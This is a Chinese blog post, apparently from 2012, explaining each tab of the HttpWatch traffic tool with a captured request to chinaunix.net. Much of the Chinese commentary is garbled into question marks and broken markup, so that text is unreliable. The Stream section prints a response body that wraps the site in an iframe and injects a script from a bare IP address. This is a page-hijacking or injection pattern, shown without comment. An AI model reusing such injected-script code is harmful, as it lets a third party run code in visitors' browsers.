【辅助工具】HttpWatch工具简要解析

技术
  1. Overview ??? (???????)

Overview

URL: http://www.chinaunix.net/

Result: 200

====================================================================================

Action Decription

====================================================================================

Display URL Normal browser lookup of URL http://www.chinaunix.net/ Completed

Started At 2012-Feb-14 10:08:08.781 (local time) Completed

DNS Lookup Lookup of hostname 'www.chinaunix.net' Completed

Connect Connect to IP address '219.148.35.60' Completed

HTTP Request Unconditional request sent for http://www.chinaunix.net/ Completed

HTTP Response Headers and content returned Completed

  1. TimeChart ??? ????HTTP??????????

Time Chart

====================================================================================

Timing Started Duration

====================================================================================

Blocked + 0.000 0.003

DNS Lookup + 0.003 0.026

Connect + 0.029 0.003

Send + 0.032 @?@; 0.001

Wait + 0.032 0.087

Receive + 0.119 0.002

TTFB + 0.003 0.116

Network + 0.003 0.118

1)The Blocked time includes any pre-processing time(such as cache lookup) and the time spent waiting for a network connection to become available. Internet Explorer will only create a maximum of two concurrent network connections per host name (i.e. www.microsoft.com) and will queue up requests until a network connection is available. Often the Blocked time is the most significant factor in the download time of images embedded in a web page.

2)DNS Lookup is the time required to resolve a host name (e.g. www.google.com) into a numeric IP address (e.g. 216.239.59.99).

3)Connect is the time required to create a TCP connection to the web server (or proxy). If a secure HTTPS connection is being used this time includes the SSL handshake process. Keep-Alive connections are often used to avoid the overhead of repeatedly connecting to the web server.

4)Send is the time required to send the HTTP request message to the server and will depend on the amount of data that is sent to the server. For example, long Send times will result from uploading files using an HTTP POST

5)Wait is the idle time spent waiting for a response message from the server. This value includes delays introduced due to network latency and the time required to process the request on the web server.

6)Receive is the time taken to read the response message from the server. This value will depend on the size of the content returned, network bandwidth and whether HTTP compression was used.

7)TTFB (or Time To First Byte) is the duration from the initial network request being initiated by the browser to the first byte being received from the server. It includes TCP connection time, the time to send the request and the time taken to get the first byte of the response message.

8)Network is the total duration of all network related operations for an HTTP request.

  1. Headers ??? ?HTTP????????

Headers

====================================================================================

Headers Sent Value

====================================================================================

(Request-Line) GET / HTTP/1.1

Accept application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg,

image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint,

application/msword, application/xaml+xml, application/x-ms-xbap,

application/x-ms-application, /

Accept-Encoding gzip, deflate

Accept-Language zh-cn

Connection Keep-Alive

Cookie __utma=2293.133.13296.1329.132*****6.1;

__utmz=225893.132**6.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=

(none); Hm_lvt_0e1bfd76e83216b=1386359;

__pta=165.1177.13*****3293.*****389.4;

3comdo=132*****4820

Host www.chinaunix.net

User-Agent Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;

.NET4.0C; .NET4.0E)

====================================================================================

Headers Sent Value

====================================================================================(Status-Line) HTTP/1.1 200 OK

Connection close

Content-Length 959

Content-Type text/html

??????????

1????????????Connection Keep-Alive???????????????Connection close?.

2??????????

????????????Action(get??post??...) + ??????/?+ HTTP??????HTTP/1.1?

????????????????????

Accept???????????????

Accept-Encoding??????????????????

Accept-Language???????????

Cookie???????????cookie???

????? \r\n ??????????????

?????????

3??????????

?????????????????HTTP/1.1?+ ?????200 OK??

???????????????????????

????? \r\n ???????????????

?????????

  1. Cookie ??? ??????????cookie?

Cookies

=========================================================================================

CookieName Direction Value Path Domain Expires Source HTTP Only Secure

=========================================================================================

__pta Sent *** / .chinaunix.net Thu,**:28 GMT Stored No No

__utma Sent *** / .chinaunix.net T***6:26 GMT Stored No No

__utmz Sent *** / .chinaunix.net T***6:26 GMT Stored No No

3comdo Sent *** / .chinaunix.net T**:55 GMT Stored No No

Hm**** Sent *** / .chinaunix.net W***1:36:26 GMT Stored No No

  1. Cache ??? ????????????

Cache

====================================================================================

Decription Before Request After Request

====================================================================================

URL in cache? Yes Yes

Expires (Not set) (Not set)

Last Modification (Not set) (Not set)

Last Cache Update 01:36:26 Tue12 GMT 02:08:10 Tues12 GMT

Last Access 01:36:24 T2 GMT 02:084, 2012 GMT

ETag

Hit Count 7 9

??????????? http://www.chinaunix.net ???????????????????????????????

Hit Count ???????????????

  1. Query String ??? ?????get????????????? id=23433&name=dkdkkd?????

????????http://www.chinaunix.net????Query String??????????????Query String??????????????????????????????????????

  1. Stream ?????????????????????????????????

Stream

750 bytes sent to 219.148.35.60:80

====================================================================================

GET / HTTP/1.1

Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, /

Accept-Language: zh-cn

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E)

Accept-Encoding: gzip, deflate

Host: www.chinaunix.net

Connection: Keep-Alive

Cookie: __utma=; __utmz=22)ue); Hm_lvb=1***; __pta=157***9.4; 3comdo=****0

====================================================================================

1043 bytes received by 127.0.0.1:2011

HTTP/1.1 200 OK

Content-Length: 959

Connection: close

Content-Type: text/html

@?@;!doctype html@?@;

@?@;html@?@;

@?@;head@?@;

@?@;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /@?@;

@?@;title@?@;@?@;/title@?@;

@?@;style type="text/css"@?@;

html,body{margin:0;padding:0;height:100%;overflow:hidden;}

iframe{overflow:visible;}

@?@;/style@?@;

@?@;/head@?@;

@?@;body@?@;

@?@;iframe name="topIframe" id="topIframe" width="100%" height="100%" marginheight="0" marginwidth="0" frameborder="0" scrolling="yes"@?@;@?@;/iframe@?@;

@?@;script@?@;

if(-[1,]){

document.getElementsByTagName("iframe")[0].removeAttribute("scrolling");

}

function _g(){

var _lf=1,

_u=window.location.toString(),

_f=window.frames['topIframe'],

_itu=_u.indexOf('file://');

_f.location.href=_u;

if(_itu==0){

return;

}

if(top!=this && _lf==1){

return;

}

var s=document.createElement('script');

s.src='http://61.183.0.86:9999/file/2011/08/201108181415014e4cade529db6.js?'+'rnd='+Math.random();

s.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s);

}

_g();

@?@;/script@?@;

@?@;/body@?@;

@?@;/html@?@;

0
0
0
0
关于作者
关于作者

文章

0

获赞

0

收藏

0

相关资源
字节跳动客户端性能优化最佳实践
在用户日益增长、需求不断迭代的背景下,如何保证 APP 发布的稳定性和用户良好的使用体验?本次分享将结合字节跳动内部应用的实践案例,介绍应用性能优化的更多方向,以及 APM 团队对应用性能监控建设的探索和思考。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论